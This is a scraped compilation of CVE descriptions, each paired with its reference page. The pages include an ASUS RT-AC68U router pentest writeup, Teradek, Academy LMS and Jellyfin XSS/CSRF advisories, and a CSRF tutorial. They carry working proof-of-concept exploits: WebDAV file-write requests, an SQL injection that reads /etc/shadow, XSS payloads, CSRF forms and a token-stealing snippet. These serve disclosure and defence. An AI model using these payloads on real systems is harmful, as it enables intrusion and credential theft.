Cross Site Scripting (XSS) vulnerability in automad 1.7.5 allows remote attackers to run arbitrary code via the user name field when adding a user.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-37502: Storage XSS vulnerability in /gui/accounts.php  · Issue #29 · marcantondahmen/automad

Universal Cross Site Scripting (UXSS) vulnerability in Vimium Extension 1.66 and earlier allows remote attackers to run arbitrary code via omnibar feature.

CVE-2021-37518: Added crypto random string. verified. by barakolo · Pull Request #3850 · philc/vimium

Directory Traversal vulnerability in Cloud Disk in ASUS RT-AC68U router firmware version before 3.0.0.4.386.41634 allows remote attackers to write arbitrary files via improper sanitation on the target for COPY and MOVE operations.

Over the summer of my junior year, I decided to do some router pentesting. Embedded security always seemed very fun to me. I liked the idea of breaking things that are found in our everyday lives, and what better place to start than my router. I was also inspired by my friend @arinerron who had some success with his router previously.

I dumped the firmware and started analyzing the binaries in Ghidra. I also found a GitHub repository containing a modified version of the source which greatly helped with the reversing process.

**Thoughts**

In the end, I managed to find a pre-auth arbitrary file read vulnerability, which could be used to dump /etc/shadow. From here, this could be chained with an authenticated arbitrary file write vulnerability to achieve code execution.

A shodan search suggests that around 200 thousand routers online could be potentially vulnerable, although because some specialized configuration is required the actual number is probably a bit lower.

One thing I found interesting was how many of the vulnerabilities involved “off-by-slash” issues. For example, requests to /smb/* required authentication but not /smb. If anything, this shows the importance of paying attention to the details when performing code audits.

It was also cool how there was an exploitable SQL injection vulnerability in such a seemingly low-level target.

Even though the code quality wasn’t the highest - many of these vulnerabilities were not very well hidden - this was overall a pretty fun exercise in code-review.

**Timeline**

08/18/2020 - Vulnerability submitted to [email protected]  
08/18/2020 - Vendor response  
10/25/2020 - Beta firmware - official release “in one month”  
12/19/2020 - Additional correspondence  
01/18/2021 - 3.0.0.4.386.41634 released

**Writeup**

_This is an adapted version of the writeup that was sent to the ASUS security team._

This document summarizes the results of my pentesting against ASUS RT-AC68U on the latest firmware version 3.0.0.4.385_20632. These vulnerabilities range from simple denial of service, to a no-interaction unauthenticated remote code execution chain. Many of these likely apply to other similar router versions as well. I also discuss several solutions for remediation.

These were patched in version 3.0.0.4.386.41634.

Overall, I present the following vulnerabilities:

1.  No-interaction pre-authentication RCE chain
2.  No-interaction pre-authentication persistent DOS chain
3.  3 XSS vectors, two of which could chain to RCE
4.  2 temporary denial of service exploits

**Vulnerabilities**

Note that you will need to enable the lighttpd server by going to http://router.asus.com/cloud\_main.asp and enabling Cloud Disk.

Additionally, some of the exploits require the mounting of an external device.

**MOVE/COPY Priming**

No authentication file-write to /mnt/*. An attacker chain this with MOVE/COPY Off By Slash to remotely brick a router, for example, by overwriting /etc/shadow or other important configuration files.

**POC**

There are two relevant primitives - file creation and directory creation.

    fetch("/smb/js/jplayer", {
      "headers": {
        "destination": "https://domain.tld/RT-AC68U/customdir",
        "overwrite": "T",
      },
      "body": "",
      "method": "MOVE"
    });
    

_directory creation_

    fetch("/smb/control", {
      "headers": {
        "destination": "https://domain.tld/RT-AC68U/customdir/testfile",
        "overwrite": "T",
      },
      "body": "",
      "method": "MOVE"
    });
    

_file creation_

This allows an attacker to overwrite arbitrary contents under /mnt. Note that an attacker is able to create any file structure they desire with these primitives. However, while the file layout is attacker controlled, the content within the files is not.

**Analysis**

Improper sanitation on the source for COPY and MOVE operations allows an attacker to load preexisting files from the router, even without authentication.

**Mitigation**

1.  Ensure that con->physical.path starts with /mnt in the mod_webdav.so for HTTP_METHOD_MOVE and HTTP_METHOD_COPY.

**MOVE/COPY Clobbering**

Authenticated arbitrary file write to /*. Can escalate to RCE by overwriting executable files, for example /etc/zcip. Can also modify internal variables such as the router password by writing to /dev/nvram.

**POC**

Create a directory structure as such.

    /mnt
      /USB-NAME
        /path
          /etc
            passwd
    

Run the below JavaScript.

    fetch("/RT-AC68U/USB-NAME/path", { 
      "headers": {
        "overwrite": "T",
        "destination": "https://domain.tld/",
      },
      "body": "",
      "method": "COPY",
    });
    

This will overwrite /etc/passwd.

**Analysis**

Improper sanitation on the target for COPY and MOVE operations gives an attacker an arbitrary file-write primitive.

**Mitigation**

1.  Ensure that p->physical.path starts with /mnt in the mod_webdav.so for HTTP_METHOD_MOVE and HTTP_METHOD_COPY.

**MOVE/COPY Off By Slash**

No-authentication arbitrary file copying from /mnt/* to /*. Can combine with MOVE/COPY Priming to remotely brick a router, for example, by overwriting /etc/shadow or other important configuration files.

**POC**

Create a directory structure as such.

    /mnt
      /etc
        passwd
    

Run the below JavaScript.

    fetch("/RT-AC68U", { 
      "headers": {
        "overwrite": "T",
        "destination": "https://domain.tld/",
      },
      "body": "",
      "method": "COPY",
    });
    

**Analysis**

The authentication handler has an off-by-slash error, matching for /RT-AC68U/ instead of /RT-AC68U. Thus, it allows unauthenticated requests to /RT-AC68U to hit the endpoint (note that adding a slash results in a 401). This allows an attacker to perform a copy operation from /mnt to /, exploiting a similar vulnerability as in MOVE/COPY Clobbering. By creating a fake directory structure with MOVE/COPY Priming, these two vulnerabilities give an attacker a write-anywhere primitive.

**Mitigation**

1.  Ensure the authentication handler filters requests against /RT-AC68U instead of /RT-AC68U/.

**PROPFINDMEDIALIST SQL Injection**

No user-interaction arbitrary file-read. By reading /etc/shadow, an unauthorized remote attacker can disclose a hashed password. Cracking this offline gives the router password. Can be combined with MOVE/COPY Clobbering for a full no-interaction RCE chain.

**POC**

You will need to enable the Digital Media Server functionality.

Run the below javascript, for example in the dev console, while on the AiCloud page.

    (async() => {
    var author = "" + Math.random();
    var path = "/etc/shadow";
    var dId = Math.floor(100000 * Math.random()) + 10000
    var oId = Math.floor(100000 * Math.random()) + 10000
    var pId = Math.floor(100000 * Math.random()) + 10000
    var val = ("a' OR 1 ); INSERT INTO DETAILS (TITLE, ALBUM_ART, ARTIST, ID) VALUES ('a', '" + pId + "', '" + author + "', " + dId + "); -- ").split("'").join("%27")
    console.log(val.length)
    
    await fetch("/smb", {
      "headers": {
        "keyword": val,
        "mediatype": "1",
      },
      "body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
      "method": "PROPFINDMEDIALIST",
    });
    
    val = ("a' OR 1 ); INSERT INTO OBJECTS (PARENT_ID, OBJECT_ID, DETAIL_ID, CLASS) VALUES ('1$7', " + oId + ", " + dId + ", 'container.album.musicAlbum'); -- ").split("'").join("%27")
    console.log(val.length)
    
    
    await fetch("/smb", {
      "headers": {
    
        "keyword": val,
        "mediatype": "1",
      },
      "body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
      "method": "PROPFINDMEDIALIST",
    });
    
    val = ("a' OR 1 );  INSERT INTO ALBUM_ART (PATH, ID) VALUES ('" + path + "', " + pId + "); -- ").split("'").join("%27")
    console.log(val.length)
    
    
    await fetch("/smb", {
      "headers": {
        "keyword": val,
        "mediatype": "1",
      },
      "body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
      "method": "PROPFINDMEDIALIST",
    });
    
    await fetch("/smb", {
      "headers": {
        "classify": "album",
      },
      "body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
      "method": "GETMUSICCLASSIFICATION"
    }).then(a => a.text()).then(b => {
    var aidx = b.indexOf(author)
    var pay = b.substring(b.indexOf("<thumb_image>", aidx) + "<thumb_image>".length, b.indexOf("</thumb_image>", aidx))
    
    console.log(atob(pay))
    })
    })()
    

**Analysis**

        //- Avoid SQL injection!
        if( keyword!=NULL && strstr(keyword->ptr, "'")!=NULL) {      
          Cdbg(DBE, "keyword is invalid!");
          
        ...
        
        if(!buffer_is_empty(keyword)){      
          buffer_urldecode_path(keyword);
    

_mod\_webdav.c_

The check for SQL injection happens before the url decode. This allows an attacker to pass in a URL-encoded single quote, %27, bypassing any SQL injection mitigations. In addition, stacked queries are enabled allowing an attacker to easily chain statements. This can be used to create a fake album, which is ultimately triggered by the GETMUSICCLASSIFICATION method, passing a fake filepath to get_album_cover_image.

        char* album_cover_file = result2[1];
                      
        FILE* fp = fopen(album_cover_file, "rb");
    

_mod\_webdav.c_

The contents of this file pointer are then read into a buffer, and then passed directly back to the attacker.

**Mitigation**

1.  Perform the SQL injection check after bufer_urldecode_path.
2.  Sanity check on album_cover_file, for example strncmp(album_cover_file, "/mnt", 4)

Given a single valid share link, an attacker can disclose any other file.

**POC**

Create a file structure as shown (a single folder with files a.txt and b.txt).

    /mnt/XXX 
      a.txt
      b.txt
    

Create a sharelink for a.txt. Append /%2e%2e/b.txt to the sharelink.

Your final URL should look like https://domain.tld/AICLOUDXXXXXXX/a.txt/%2e%2e/b.txt. Curl the URL - curl -k https://domain.tld/AICLOUDXXXXXXX/a.txt/%2e%2e/b.txt - and note that b.txt gets downloaded.

**Analysis**

mod_aicloud_sharelink_parser URL decodes the path, but fails to filter out path traversals like /../ after decoding.

**Mitigation**

1.  Filter out /../ from AICLOUD paths

**picasa.html XSS**

With user-interaction account takeover - total file disclosure and chain with above to remote code execution.

**POC**

While logged in, visit /smb/css/service/picasa.html?v=%3C%2ftextarea%3E%3Cscript%3Ealert(%27XSS%27)%3C%2fscript%3E.jpg

**Analysis**

The abbreviated JS is shown below.

      var uploadfile_url = getUrlVars()["v"];
      ...
      var this_filename = decodeURIComponent( uploadfile_url
        .substr( uploadfile_url.lastIndexOf("/") + 1, uploadfile_url.length-1 ) );
      ...
      upload_html += '<textarea style="resize: none; width: 292px; height: 82px;" 
        autocomplete="off" id="title" name="title" class="x-form-textarea x-form-field 
        service_upload_field ' + className + '">' + this_filename + '</textarea>';
    

Note that the value of the v parameter is reflected directly into the HTML (after decoding). A malicious filename like </textarea><script>alert('XSS')</script> allows an attacker to inject scripts. This could be done silently from an attacker controlled webpage, giving an attacker access to the router as long as the user is logged in.

**Mitigation**

1.  Sanitize the value of this_filename before injecting into the HTML, as shown below.

    return mystring.replace(/&/g, "&amp;").replace(/>/g, "&gt;").replace(/</g, "&lt;").replace(/"/g, "&quot;");
    

2.  Exit on invalid characters in file name - blacklist <>.

**urlInfo XSS**

Same impact scenario as picasa.html XSS.

**POC**

While logged out, navigate to /RT-AC68U/zz%27onmouseover=a.hidden=true;alert(origin)%20id=a%20style=width:100vw;position:fixed;top:0;height:100vh;opacity:0.01%20a=

**Analysis**

The handler for urlInfo fails to escape single quotes.

              buffer_copy_string_len(out, CONST_STR_LEN("<input class='urlInfo' value='"));        
              buffer_append_string_buffer(out, con->url.rel_path);        
              buffer_append_string_len(out, CONST_STR_LEN("' type='hidden'>"));
    

_connections.c_

**Mitigation**

1.  Sanitize the urlInfo property. Escape single quotes, replacing them with the HTML entity &apos;

**openurl XSS**

Same impact scenario as picasa.html XSS.

**POC**

Navigate to /smb/..%2f'onload='alert(origin) while logged in\`.

**Analysis**

This injects the openurl property on body. The final rendered HTML is as such.

    <body openurl='/smb/../'onload='alert(origin)' fileview_only='1'></body>
    

**Mitigation**

1.  Sanitize the openurl property. Escape single quotes, replacing them with the HTML entity &apos;

**AINVITE POST Handler DOS**

No interaction/authentication denial of service.

**POC**

Run the below code in the developer console on the lighttpd webpage. This sends a POST request with body “junk” to /AINVITE.

    fetch("/AINVITE", {
      "body": "junk",
      "method": "POST"
    });
    

**Analysis**

The handler for post data looks as such.

    iVar1 = parse_postdata_from_chunkqueue(param_1,param_2,param_2->field_0x54,&local_6c);
    if ((iVar1 == 0) && (local_6c != (void *)0x0)) {
      action_value = (char *)get_url_param_ualue(local_6c,"action");
      iVar1 = strcmp(action_value,"register");
    

Note that if get_url_param_ualue(local_6c, "action"), which gets the form data parameter, returns a null value the subsequent call to strcmp will result in a NULL pointer dereference.

**Mitigation**

1.  Add a check for the return value of get_url_param_ualue(local_6c, "action") to see if it is NULL before passing into strcmp.

**/AINVIT DOS**

No interaction/authentication denial of service.

**POC**

Visit /AINVIT. This will crash the lighttpd instance.

**Analysis**

In the handler mod_aicloud_invite.so, the comparison logic looks as such.

    iVar1 = strncmp(*param_2->field_0x108,"/AINVITE",7);
    if (iVar1 == 0) {
      local_38 = strstr(*param_2->field_0x108,"/AINVITE");
      local_38 = local_38 + 1;
      if (local_38 == (char *)0x0) {
        param_2->field_0x80 = 400;
        param_2->field_0x48 = 1;
        ret_code = 2;
      }
    

Note that however, the length of “/AINVITE” is 8. Thus, if /AINVIT is sent, it’ll pass the strncmp comparison, while returning null for strstr. While there is a null check, the pointer is incremented by 1, making it worthless. This results in a null pointer dereference later.

**Mitigation**

1.  Perform the null check before incrementing the pointer.
2.  strncmp with a length of 8

CVE-2021-37317: ASUS RT-AC68U RCE

** UNSUPPORTED WHEN ASSIGNED ** Cross Site Scripting (XSS) vulnerability in Teradek Clip all firmware versions allows remote attackers to run arbitrary code via the Friendly Name field in System Information Settings. NOTE: Vedor states the product has reached End of Life and will not be receiving any firmware updates to address this issue.

**Vulnerability Research****Teradek Cross-Site Scripting Vulnerability Advisory****Multiple Teradek Devices Found Vulnerable to Authenticated Stored Cross-Site Scripting****By: _Tyler Butler_, _Apr 29, 2021_ | _3 min read_**

Back in May, I disclosed a series of cross-site scripting vulnerabilities in the Cube 305 video encoder, a legacy video encoder from vendor Teradek. Teradek is video solutions manufacturer that develops networked devices for broadcast, cinema & imaging applications. After working through initial vulnerability disclosure with Teradek customer support, they informed me that “based on the scope of work involved, the product management team has determined that this issue will not be fixed for the EOL products”. In this blog post, I’ll describe the disclosure timeline and vulnerability details. While they declined to address the vulnerability, Teradek was overall a supportive partner in the vulnerabiltiy disclosure process, providing consistent communication and even going out of their way to provide a detailed list of effected devices.

See the original vulnerability disclosure here

****Index****

*   Disclosure Timeline
*   About the Vendor
*   Vulnerability Details

****⏱ Disclosure Timeline****

I discover the vulnerability and open support ticket #128254 via support.teradek.com

12 May 2021

Teradek responds to initial report and requests additional information.

13 May 2021

Continuous communication between myself and Teradek support

14 May - Jul 15th 2021

Teradek indicates the product will be classified as EOL and the issue will not be addressed. Teradek support provides a full list of effected products so I can engage Mitre CVE team

16 Jul 2021

****💡 About the Vendor****

Teradek produces video encoding devices used by streamers and video professionals alike. According to their website, “Teradek designs and manufactures high performance video solutions for broadcast, cinema, and general imaging applications. From wireless monitoring, color correction, and lens control, to live streaming, SaaS solutions, and IP video distribution, Teradek technology is used around the world by professionals and amateurs alike to capture and share compelling content.” Some of their most popular products include the Bolt, a zero delay HDR solution; the Teradek Ace, a compact wireless video system; and the Serve Pro, a compact live streaming HD system for android and MacOS.

****💀 Vulnerability Details****

The Teradek Cube 305 and all the following Teradek devices are vulnearble to a stored cross-site scripting vulnerability via the Friendly Hostname field within the System Information Settings. Remote authenticated attackers can exploit this vulnerability by embedding malicious JavaScript payloads that execute in the context of victim browsers. The impact of this vulnerability is severe, as malicious code could be used to track victim browsers, steal cookies, or further exploit users.

1.  Bond (firmware releases in the 7.3.x range were the final releases)
2.  Bond II (firmware releases in the 7.3.x range were the final releases)
3.  Bond Pro (firmware releases in the 7.3.x range were the final releases)
4.  Brik (firmware releases in 7.2.x were final)
5.  Clip
6.  Cube (firmware releases in the 7.3.x range were the last releases)
7.  Cube Pro (firmware releases in the 7.3.x range were the final releases)
8.  Slice (1st generation; firmware releases in the 7.3.x range were the final releases)
9.  Sphere
10.  VidiU / VidiU Mini (firmware 3.0.8 was the final release)

****⚰️ Proof of Concept****

**Payload**: Services.Zeroconf.friendlyname=Cube+255+04834<svg/onload=alertxss!\>

    POST /cgi-bin/api.cgi HTTP/1.1
    Host: 172.16.1.1
    Content-Length: 415
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Origin: http://172.16.1.1
    Referer: http://172.16.1.1/index.cs
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: serenity-session=29328153
    Connection: close
    
    Services.Zeroconf.friendlyname=Cube+255+04834<svg/onload=alert`xss!`>&Services.Zeroconf.Bonjour.enable=1&Services.HTTP.port=80&Services.HTTP.ssl=disable&Services.DDNS.enable=0&Services.DDNS.system=dyndns%40dyndns.org&Services.DDNS.alias=&Services.DDNS.username=%3Csvg%2Fonload%3Dalert%60xss+3!%60%3E&Services.DDNS.password=&Services.DDNS.interval=60&save=Services&apply=Services&noredirect=%2Findex.cs%3Fpage%3Dnetwork.services&command=set 
    

**Sending Payload with BurpSuite**

**Entering Payload via Device Settings**

**Payload Execution**

CVE-2021-37374: Teradek Cross-Site Scripting Vulnerability Advisory

** UNSUPPORTED WHEN ASSIGNED ** Cross Site Scripting (XSS) vulnerability in Teradek Bond, Bond 2 and Bond Pro firmware version 7.3.x and earlier allows remote attackers to run arbitrary code via the Friendly Name field in System Information Settings. NOTE: Vedor states the product has reached End of Life and will not be receiving any firmware updates to address this issue.

**Wireless Monitoring**

*    
*    

**iOS Monitoring**

*    

**Wireless Lens Control**

*    

**Camera Control**

*    

**Professional Broadcast Encoders and Decoders**

*    
*    
*    

**Web Streaming**

*    
*    

**Services**

*   
*   

**Wireless Color Grading**

*    

**Orbit PTZ**

*    Orbit PTZ

**Bonding/Networking**

*    Pro
*    
*    

**Modems**

*    

**Other**

*    Accessories
    
    Licenses, Cables, Battery Plates, etc.
*    StreamReader Plugin
*    Teradek Certified Pre-Owned Products (B-Stock)

CVE-2021-37376: Cube Legacy

A Cross-Site Request Forgery (CSRF) in Academy LMS before v5.10 allows a discount coupon to be arbitrarily created if an attacker with administrative privileges interacts on the CSRF page.

In this section, we'll explain what cross-site request forgery is, describe some examples of common CSRF vulnerabilities, and explain how to prevent CSRF attacks.

**What is CSRF?**

Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.

**Labs**

If you're already familiar with the basic concepts behind CSRF vulnerabilities and just want to practice exploiting them on some realistic, deliberately vulnerable targets, you can access all of the labs in this topic from the link below.

View all CSRF labs

**What is the impact of a CSRF attack?**

In a successful CSRF attack, the attacker causes the victim user to carry out an action unintentionally. For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over the user's account. If the compromised user has a privileged role within the application, then the attacker might be able to take full control of all the application's data and functionality.

**How does CSRF work?**

For a CSRF attack to be possible, three key conditions must be in place:

*   **A relevant action.** There is an action within the application that the attacker has a reason to induce. This might be a privileged action (such as modifying permissions for other users) or any action on user-specific data (such as changing the user's own password).
*   **Cookie-based session handling.** Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests. There is no other mechanism in place for tracking sessions or validating user requests.
*   **No unpredictable request parameters.** The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess. For example, when causing a user to change their password, the function is not vulnerable if an attacker needs to know the value of the existing password.

For example, suppose an application contains a function that lets the user change the email address on their account. When a user performs this action, they make an HTTP request like the following:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

This meets the conditions required for CSRF:

*   The action of changing the email address on a user's account is of interest to an attacker. Following this action, the attacker will typically be able to trigger a password reset and take full control of the user's account.
*   The application uses a session cookie to identify which user issued the request. There are no other tokens or mechanisms in place to track user sessions.
*   The attacker can easily determine the values of the request parameters that are needed to perform the action.

With these conditions in place, the attacker can construct a web page containing the following HTML:

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

If a victim user visits the attacker's web page, the following will happen:

*   The attacker's page will trigger an HTTP request to the vulnerable web site.
*   If the user is logged in to the vulnerable web site, their browser will automatically include their session cookie in the request (assuming SameSite cookies are not being used).
*   The vulnerable web site will process the request in the normal way, treat it as having been made by the victim user, and change their email address.

**Note**

Although CSRF is normally described in relation to cookie-based session handling, it also arises in other contexts where the application automatically adds some user credentials to requests, such as HTTP Basic authentication and certificate-based authentication.

**How to construct a CSRF attack**

Manually creating the HTML needed for a CSRF exploit can be cumbersome, particularly where the desired request contains a large number of parameters, or there are other quirks in the request. The easiest way to construct a CSRF exploit is using the CSRF PoC generator that is built in to Burp Suite Professional:

*   Select a request anywhere in Burp Suite Professional that you want to test or exploit.
*   From the right-click context menu, select Engagement tools / Generate CSRF PoC.
*   Burp Suite will generate some HTML that will trigger the selected request (minus cookies, which will be added automatically by the victim's browser).
*   You can tweak various options in the CSRF PoC generator to fine-tune aspects of the attack. You might need to do this in some unusual situations to deal with quirky features of requests.
*   Copy the generated HTML into a web page, view it in a browser that is logged in to the vulnerable web site, and test whether the intended request is issued successfully and the desired action occurs.

**How to deliver a CSRF exploit**

The delivery mechanisms for cross-site request forgery attacks are essentially the same as for reflected XSS. Typically, the attacker will place the malicious HTML onto a web site that they control, and then induce victims to visit that web site. This might be done by feeding the user a link to the web site, via an email or social media message. Or if the attack is placed into a popular web site (for example, in a user comment), they might just wait for users to visit the web site.

Note that some simple CSRF exploits employ the GET method and can be fully self-contained with a single URL on the vulnerable web site. In this situation, the attacker may not need to employ an external site, and can directly feed victims a malicious URL on the vulnerable domain. In the preceding example, if the request to change email address can be performed with the GET method, then a self-contained attack would look like this:

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

**Common defences against CSRF**

Nowadays, successfully finding and exploiting CSRF vulnerabilities often involves bypassing anti-CSRF measures deployed by the target website, the victim's browser, or both. The most common defenses you'll encounter are as follows:

*   **CSRF tokens** - A CSRF token is a unique, secret, and unpredictable value that is generated by the server-side application and shared with the client. When attempting to perform a sensitive action, such as submitting a form, the client must include the correct CSRF token in the request. This makes it very difficult for an attacker to construct a valid request on behalf of the victim.
    
*   **SameSite cookies** - SameSite is a browser security mechanism that determines when a website's cookies are included in requests originating from other websites. As requests to perform sensitive actions typically require an authenticated session cookie, the appropriate SameSite restrictions may prevent an attacker from triggering these actions cross-site. Since 2021, Chrome enforces Lax SameSite restrictions by default. As this is the proposed standard, we expect other major browsers to adopt this behavior in future.
    
*   **Referer-based validation** - Some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application's own domain. This is generally less effective than CSRF token validation.
    

For a more detailed description of each of these defenses, as well as how they can potentially be bypassed, check out the following materials. These include interactive labs that let you practice what you've learned on realistic, deliberately vulnerable targets.

**Read more**

*   LABS Bypassing CSRF token validation
*   LABS Bypassing SameSite cookie restrictions
*   LABS Bypassing Referer-based CSRF defenses

For details on how to properly implement these defenses in order to prevent some of these issues on your own websites, see How to prevent CSRF vulnerabilities

CVE-2022-47130: What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

A Cross-Site Request Forgery (CSRF) in Academy LMS before v5.10 allows an attacker to arbitrarily create a page.

**Descrição**

O Academy LMS é uma aplicação onde pessoas conseguem criar e anunciar cursos. O recurso de adicionar um a nova página está vulnerável a CSRF, pois não há nenhuma token que faz com que esse ataque seja evitado. Além disso, essa página pode ser usada para carregar um payload de XSS de forma armazenada.

**Prova de Conceito (POC)**

O primeiro passo para a nossa prova de conceito é autenticar na plataforma com usuário administrativo.

Após isso, basta acessar a página que contém o código para a exploração da vulnerabilidade, veja que na página inicial do site será adicionado um novo botão.

Acessando a nova página criada, podemos confirmar a existência de um XSS armazenado.

Código usado na exploração:

    <html>
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="https://target.com/admin/custom_page/add" method="POST">
          <input type="hidden" name="page&#95;title" value="CSRF&#32;XSS" />
          <input type="hidden" name="page&#95;content" value="&quot;&gt;&lt;svg&#32;onload&#61;alert&#40;document&#46;domain&#41;&#59;&gt;" />
          <input type="hidden" name="files" value="" />
          <input type="hidden" name="button&#95;title" value="CSRF&#32;XSS" />
          <input type="hidden" name="button&#95;position" value="header" />
          <input type="hidden" name="page&#95;url" value="xss" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>

    <html>
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="https://target.com/admin/custom_page/add" method="POST">
          <input type="hidden" name="page&#95;title" value="CSRF&#32;XSS" />
          <input type="hidden" name="page&#95;content" value="&quot;&gt;&lt;svg&#32;onload&#61;alert&#40;document&#46;domain&#41;&#59;&gt;" />
          <input type="hidden" name="files" value="" />
          <input type="hidden" name="button&#95;title" value="CSRF&#32;XSS" />
          <input type="hidden" name="button&#95;position" value="header" />
          <input type="hidden" name="page&#95;url" value="xss" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>

**Versões Afetadas**

Academy LMS - < 5.10

**Pesquisador**

*   Vinícius Alves

**Classificação**

    Type: Cross-Site Request Forgery / Cross-Site Scripting
    OWASP TOP 10: A01:2021 - Broken Access Control
    OWASP TOP 10: A03:2021-Injection
    CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
    CWE: CWE-352: Cross-Site Request Forgery (CSRF)

    Type: Cross-Site Request Forgery / Cross-Site Scripting
    OWASP TOP 10: A01:2021 - Broken Access Control
    OWASP TOP 10: A03:2021-Injection
    CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
    CWE: CWE-352: Cross-Site Request Forgery (CSRF)

**CVE**

CVE-2022-47131

**Referencias**

*   PortSwigger
*   YoutTube Video

CVE-2022-47131: Academy LMS < 5.10 CSRF + XSS Stored

In Jellyfin 10.8.x through 10.8.3, the name of a collection is vulnerable to stored XSS. This allows an attacker to steal access tokens from the localStorage of the victim.

**usd-2022-0031 | Jellyfin 10.8.1 - Cross-Site Scripting**

**Advisory ID:** usd-2022-0031  
**Product:** Jellyfin  
**Affected Version:** 10.8.1  
**Vulnerability Type:** CWE-79  
**Security Risk:** Critical  
**Vendor URL:** https://jellyfin.org  
**Vendor Status:** fixed  
**CVE number:** CVE-2023-23635

**Description**

A stored XSS in Jellyfin 10.8.1 allows an remote attacker to inject JavaScript into the name of a collection to perform a Cross-Site Scripting (XSS) attack.  
Because session tokens are stored in the localStorage, the attacker can extract them via javascript.

**Proof of Concept**

The following screenshot shows how an attacker can create a malicious collection.

  
The injected JavaScript code is executed in the user's browser, if a user (e.g. admin) visits the _collections_ page.

  
If you want to do some more interesting stuff with this vulnerability like taking over the admin account, you can use the following payload to read the access tokens from the localStorage.

"><img src=/X onerror=alert(localStorage.getItem("jellyfin\_credentials"))>

Getting the access token and device id allows you to rebuild the request for the _Quick Connect_ Feature.

This feature allows users to login using a PIN. The following request sets a PIN.

POST /QuickConnect/Authorize?Code=111111 HTTP/1.1  
Host: localhost:8096  
User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:102.0) Gecko/20100101 Firefox/102.0  
Accept: \*/\*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Emby-Authorization: MediaBrowser Client="Jellyfin Web", Device="Firefox", DeviceId="TW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjoxMDAuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDAuMHwxNjU2NzU0NTEwMjcz", Version="10.8.1", Token="7bd97aae0924484884d7d13a74e9517c"  
Origin: \[http://localhost:8096\]()  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Connection: close  
Cookie: sfcsrftoken=S82egH1Csl8FsxnMPQ6NGzXCWL3tiI8tNUvfsNyXnAVoGGthaUjsjrWesdhvu9Gc  
Content-Length: 0

**Fix**

It is recommended to treat all input on the website as potentially dangerous.  
Hence, all output that is dynamically generated based on user-controlled data should be encoded according to its context.  
The majority of programming languages support standard procedures for encoding meta characters.

**References**

*   https://owasp.org/www-community/attacks/xss/
*   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23635 

**Timeline**

*   **2022-07-18**: First contact request via security@jellyfin.org
*   **2022-08-02**: Vulnerability details submitted
*   **2022-08-16**: Fixed by Vendor
*   **2023-01-16:** Requested CVE assigned
*   **2023-01-19**: The advisory is published

**Credits**

This security vulnerability was found by Christian Pöschl of usd AG.

CVE-2023-23635: Security Advisory usd- 2022-0031 | usd HeroLab

In Jellyfin 10.8.x through 10.8.3, the name of a playlist is vulnerable to stored XSS. This allows an attacker to steal access tokens from the localStorage of the victim.

**usd-2022-0030 | Jellyfin 10.8.1 - Cross-Site Scripting**

**Advisory ID:** usd-2022-0030  
**Product:** Jellyfin  
**Affected Version:** 10.8.1  
**Vulnerability Type:** Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (CWE-79)  
**Security Risk:** Critical  
**Vendor URL:** https://jellyfin.org  
**Vendor acknowledged vulnerability:** Yes  
**Vendor Status:** fixed  
**CVE number:** CVE-2023-23636

**Description**

The playlist name in Jellyfin 10.8.1 is vulnerable to a stored XSS which allows a low privileged user to steal access tokens from high privileged users.  
